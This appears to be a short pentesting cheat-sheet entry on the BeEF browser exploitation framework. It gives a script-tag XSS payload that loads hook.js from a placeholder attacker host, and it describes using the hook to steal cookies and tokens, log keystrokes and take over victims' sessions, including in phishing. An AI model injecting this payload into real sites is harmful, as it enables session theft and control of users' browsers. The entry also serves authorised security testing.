BeEF hook

beef-xss (framework); payload: <script src="http://<beef-host>:3000/hook.js"></script>

Browser exploitation framework that allows controlling the victim after persistent XSS.

When you have found an XSS and want to exploit it to obtain browser information, cookies, tokens, or even control the user's session. BeEF gives you an interface to send commands (social engineering, redirection, keylogging, etc.) to the victim. It is useful in phishing attacks or in awareness testing.

If the target does not use JavaScript or has restrictive CSP that blocks external scripts. Also if the XSS is reflected and not persistent, the window of opportunity is short. Prefer simpler tools if you only need to steal cookies.